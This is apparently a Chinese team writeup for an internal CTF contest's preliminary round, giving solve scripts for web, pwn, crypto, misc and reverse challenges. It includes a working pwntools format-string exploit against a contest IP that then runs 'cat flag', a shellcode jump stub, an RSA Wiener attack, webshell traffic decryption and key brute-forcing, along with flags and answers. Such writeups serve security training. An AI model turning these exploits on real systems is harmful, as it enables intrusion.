内部赛第四届网络安全攻防大赛①-初赛-团队赛 Writeup

谁有别的题 wp 留言或者私信 大家集合一下。

Web

*点击就送*

(打完就没容器了。。。没截图)

共32位,每位0-f 16个字符独立验证

填充 爆破,根据每位回显颜色差别,可得FLAG

flag{4db490dfbac9fc8f9ccd42213944d90f}

Pwn

fmt

from pwn import remote, fmtstr_payload
r = remote('39.106.86.105',14032)
r.recvuntil(b"Address of 'a': ")
a_addr = int(r.recv(10), 16)
p = fmtstr_payload(7, {a_addr: 3})
r.recvuntil(b"Please input your name:\n")
r.sendline(p)
r.sendline('cat flag')
r.interactive()

# flag{8wLUnfRmNV33E3E49tMQ}

shellcode

from pwn import *
binary = './pwn_shellcode'
s = process(binary)
sh = bytes.fromhex('E9 E8 D0 FF FF') # jmp 0x0401176
s.send(sh)
s.interactive()

Crypto

super_e

e的大小大概在n的4次方,用n**4作为维纳攻击的分母逼近即可

from Crypto.Util.number import *
def continuedFra(x, y):
    cf = []
    while y:
        cf.append(x // y)
        x, y = y, x % y
    return cf

def gradualFra(cf):
    numerator = 0 # 分子
    denominator = 1 # 分母
    for x in cf[::-1]:
        numerator, denominator = denominator, x * denominator + numerator
    return numerator, denominator

def getGradualFra(cf):
    gf = []
    for i in range(1, len(cf) + 1):
        gf.append(gradualFra(cf[:i]))
    return gf

def wienerAttack(e, n):
    cf = continuedFra(e, n)
    gf = getGradualFra(cf)
    for d,k in gf:
        if d.bit_length() == 920 and isPrime(d):
            print(d)
e =  75759282367368799544583457453768987936939259860144125672621728877894789863642594830153210412190846168814565659154249521465974291737543527734700545818480398345759102651419148920347712594370305873033928263715201812217658781693392922382633382112810845248038459857654576967447255765379492937162044564693535012144718871564964154729561032186045816489683161588345299569985304078255628527588710513640102450308662163641732851643593090646321420800552303398630738674858967724338819227042384745213425656939930135311339542647104499427215254435723921505189649944059658797193927706249542240737884739119223756635540945563449010120382834036979025801446796614280064172405549502694658175837126702821804106928800917035327292099385809060363635737715320709749444795680950552240184529017581997661357846852201424248086080872655164246614710423850620222735225702427025180018637830386631573912505087046428427137407828859500285127835020183526681560129322020299774376860830513167598911105104946612301909005028216010756378307303924865571457872055817289904093797943893894249094212422766513999129665299858860878710920689322752152527130981697461526170099006972245891313788064563118647308122107999430867808150749979046611265769861111738145184897880080810883790769899
n =  99231341424553040688931525316017803824870567327100041969103204566938549582832516706206735181835068382521133899811339836861525260134721134887446163174620592328661881621312114348726944317349680760092960665800660405612177225373482880941142930135489885221592416840149732795379174704611605960303340578163595465083
c =  51912267913822166939609412649040317504496074807114128570906975734314978239243126195114450182364905219564220952132295831821506923163901903475884654750723778919188739313410839400797147178715405967395291919670255087565317409867272406308033607180687583552093107182161324265551120692656648364663045380970692751603
wienerAttack(e,n ** 4)
d = 5625392240871591703674913289176493449351554576001933379885655076380379121373730939272476349026135584314461774818575210968383018641741768873055290364913313885973206167937229668741817076803184617448123799781711736443720192213454840474648356266384085300527439223289199819331996099
from Crypto.Util.number import *

print(long_to_bytes(pow(c,d,n)))

Misc

*NewBeyond*

冰蝎4流量

爆破

key:fish

密钥:83e4a96aed96436c

解密71582报文

在这里插入图片描述

在这里插入图片描述

flag{9be455ce-ff33-4cf2-b69b-6ac88c49b955}

AMD 9700X

和 NepCTF2024 的 NepCamera 题目考点一样。

tshark -r a.pcapng -T fields -Y ‘usb.src == “1.6.8”’ -e usb.iso.data > blue.txt

提取后按 ffd8 拆分。保存为图片。

ROG字体参考

在这里插入图片描述

flag{4b320cd85e8a4749bf9d3c0be4d07f01}

《黑神话:悟空》

puzzle sovler 修复png

flag{06bee25e-1220-443c-b0e4-747814e8f78d}

zipper

解完得到

,>>++ +++++ +++[< +++++ +++++ >-]<+ +[<-> -]<[+ -],>> +++++ +++++
[<+++ +++++ ++>-] <++++ ++++[ <->-] <[+-] ,>>++ +++++ ++[<+ +++++
++++> -]<++ +++++ [<->- ]<[+- ],>>+ +++++ ++++[ <++++ +++++ +>-]<
+++[< ->-]< [+-], >>+++ +++++ ++++[ <++++ +++++ +>-]< +++[< ->-]<
[+-], >>+++ ++[<+ +++++ ++++> -]<++ ++++[ <->-] <[+-] ,>>++ +++++
++[<+ +++++ ++++> -]<++ +++++ ++[<- >-]<[ +-],> >++++ [<+++ +++++
++>-] <++++ +++++ [<->- ]<[+- ],>>+ ++++[ <++++ +++++ +>-]< [<->-
]<[+- ],>>+ +++++ +++[< +++++ +++++ >-]<+ +++++ ++[<- >-]<[ +-],>
>++++ +++++ [<+++ +++++ ++>-] <++++ ++++[ <->-] <[+-] ,>>++ +++[<
+++++ +++++ >-]<+ +++++ +[<-> -]<[+ -],>> +++++ [<+++ +++++ ++>-]
<++++ +[<-> -]<[+ -],>> ++++[ <++++ +++++ +>-]< +++++ [<->- ]<[+-
],>>+ ++++[ <++++ +++++ +>-]< +++[< ->-]< [+-], >>+++ +[<++ +++++
+++>- ]<+++ +++++ [<->- ]<[+- ],>>+ ++++[ <++++ +++++ +>-]< +++++
[<->- ]<[+- ],>>+ ++++[ <++++ +++++ +>-]< +++++ [<->- ]<[+- ],>>+
+++[< +++++ +++++ >-]<+ ++++[ <->-] <[+-] ,>>++ +++[< +++++ +++++
>-]<+ +[<-> -]<[+ -],>> +++++ [<+++ +++++ ++>-] <++[< ->-]< [+-],
>>+++ +++++ +[<++ +++++ +++>- ]<+++ ++++[ <->-] <[+-] ,>>++ +++[<
+++++ +++++ >-]<+ +[<-> -]<[+ -],>> ++++[ <++++ +++++ +>-]< +++++
[<->- ]<[+- ],>>+ +++++ +++[< +++++ +++++ >-]<+ +++++ +[<-> -]<[+
-],>> +++++ ++++[ <++++ +++++ +>-]< +++++ ++[<- >-]<[ +-],> >++++
+++++ +[<++ +++++ +++>- ]<++[ <->-] <[+-] ,>>++ +++++ ++[<+ +++++
++++> -]<++ +++++ ++[<- >-]<[ +-],> >++++ [<+++ +++++ ++>-] <++++
+[<-> -]<[+ -],>> +++++ [<+++ +++++ ++>-] <++++ [<->- ]<[+- ],>>+
+++++ ++++[ <++++ +++++ +>-]< +[<-> -]<[+ -],>> +++++ [<+++ +++++
++>-] <+[<- >-]<[ +-],> >++++ +[<++ +++++ +++>- ]<+++ ++++[ <->-]
<[+-] ,>>++ ++[<+ +++++ ++++> -]<++ +++++ ++[<- >-]<[ +-],> >++++
+++++ +[<++ +++++ +++>- ]<++[ <->-] <[+-] ,>>++ +++[< +++++ +++++
>-]<[ <->-] <[+-] ,>>++ ++[<+ +++++ ++++> -]<++ +++++ ++[<- >-]<[
+-],> >++++ +[<++ +++++ +++>- ]<+[< ->-]< [+-], >>+++ +[<++ +++++
+++>- ]<+++ +++++ [<->- ]<[+- ],>>+ ++++[ <++++ +++++ +>-]< ++[<-
>-]<[ +-],> >++++ [<+++ +++++ ++>-] <++++ +++++ [<->- ]<[+- ],>>+
+++++ +++++ +[<++ +++++ +++>- ]<+++ ++[<- >-]<[ +-]>> >>>++ +++++
++++[ <++++ +++++ +>-]< +.>>> >>+++ +++++ ++[<+ +++++ ++++> -]<++
+++++ .

8个符号原理:https://cloud.tencent.com/developer/article/2147388

可视化工具:https://github.com/t510599/brainfuck-visualizer

,是输入 . 是输出 格式化一下删除循环转炒输出 ,处理所有字符串 在线解码.
>>++++++++++[<++++++++++>-]<++[<->-]<[+-]
>>++++++++++[<++++++++++>-]<++.

处理后结果如下。

>>++++++++++[<++++++++++>-]<++.
>>++++++++++[<++++++++++>-]<++++++++.
>>+++++++++[<++++++++++>-]<+++++++.
>>++++++++++[<++++++++++>-]<+++.
>>++++++++++++[<++++++++++>-]<+++.
>>+++++[<++++++++++>-]<++++++.
>>+++++++++[<++++++++++>-]<+++++++++.
>>++++[<++++++++++>-]<+++++++++.
>>+++++[<++++++++++>-]<.
>>+++++++++[<++++++++++>-]<++++++++.
>>+++++++++[<++++++++++>-]<++++++++.
>>+++++[<++++++++++>-]<+++++++.
>>+++++[<++++++++++>-]<+++++.
>>++++[<++++++++++>-]<+++++.
>>+++++[<++++++++++>-]<+++.
>>++++[<++++++++++>-]<++++++++.
>>+++++[<++++++++++>-]<+++++.
>>+++++[<++++++++++>-]<+++++.
>>++++[<++++++++++>-]<+++++.
>>+++++[<++++++++++>-]<++.
>>+++++[<++++++++++>-]<++.
>>+++++++++[<++++++++++>-]<+++++++.
>>+++++[<++++++++++>-]<++.
>>++++[<++++++++++>-]<+++++.
>>+++++++++[<++++++++++>-]<+++++++.
>>+++++++++[<++++++++++>-]<+++++++.
>>++++++++++[<++++++++++>-]<++.
>>+++++++++[<++++++++++>-]<+++++++++.
>>++++[<++++++++++>-]<+++++.
>>+++++[<++++++++++>-]<++++.
>>++++++++++[<++++++++++>-]<+.
>>+++++[<++++++++++>-]<+.
>>+++++[<++++++++++>-]<+++++++.
>>++++[<++++++++++>-]<+++++++++.
>>++++++++++[<++++++++++>-]<++.
>>+++++[<++++++++++>-]<.
>>++++[<++++++++++>-]<+++++++++.
>>+++++[<++++++++++>-]<+.
>>++++[<++++++++++>-]<++++++++.
>>+++++[<++++++++++>-]<++.
>>++++[<++++++++++>-]<+++++++++.
>>++++++++++++[<++++++++++>-]<+++++.>>>>>+++++++++++[<++++++++++>-]<+.>>>>>++++++++++[<++++++++++>-]<+++++++.

flag{8c12bb97-5077-44a4-aafc-6e391f213041}ok

cat

爆破 a、b、times,观察结果 a=6 b=9

# -*- coding: utf-8 -*-
# @Author  : 1cePeak
import numpy as np
import cv2


def arnold_decode2(image, shuffle_times, a, b):
    p = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    N = h
    for time in range(shuffle_times):
        for i in range(h):
            for j in range(w):
                x = ((a * b + 1) * i - b * j) % N
                y = (-a * i + j) % N
                p[x, y] = image[i, j]
        image = np.copy(p)

    cv2.imwrite('cat' + str(a) + '_' + str(b) + '.png', p, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
    return p

# 3, 6, 9 需要爆破
a, b = 6, 9
times = 3
arnold_decode2(cv2.imread('cat.png'), times, a, b)

Re

junkcode

enc = [0x00000069, 0x0000007C, 0x00000070, 0x00000075, 0x00000068, 0x00000023, 0x00000021, 0x00000025, 0x00000075, 0x00000028, 0x0000007D, 0x0000002B, 0x0000002F, 0x00000031, 0x00000079, 0x0000002D, 0x0000007E, 0x00000016, 0x0000000C, 0x00000016, 0x00000014, 0x00000012, 0x00000015, 0x0000000B, 0x0000001E, 0x0000001F, 0x0000001C, 0x0000001F, 0x00000006, 0x0000001D, 0x0000001C, 0x0000004F, 0x0000001A, 0x00000051, 0x00000003, 0x00000005, 0x00000000, 0x0000000D, 0x00000000, 0x00000007, 0x00000000, 0x00000045]
for i in range(42):
    a  = (i + 15) % 255
    print(chr(enc[i] ^ a),end='')

t4d

frida hook js 获取 Key, 然后rc4解密.

import hashlib
import string
from itertools import product

key2 = bytearray([68, 69, 108, 106, 86, 107, 103, 107, 88, 70, 42, 81, 49, 64, 88, 37, 55, 97, 70, 75, 82, 119, 78, 106])

md5 = '46c7e2947ad687eb22d3a2bc5134663a'

dic = string.ascii_lowercase + string.digits + '-'

for tp in product(dic, repeat=4):
    key1 = ''.join(tp)
    res = key1.encode() + key2
    if md5 == hashlib.md5(res).hexdigest():
        print(res)
        exit(0)

# fd5fDEljVkgkXF*Q1@X%7aFKRwNj

查看lib后密文为 10AE6BAD1EB9F9BD68F12854E7E264C7391E641D05BBA618A95C5870150C12013A15BABE67C92F762B53

在这里插入图片描述

 flag{fd5f4cf0-506f-475e-8cbd-c5d6968077f6}
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值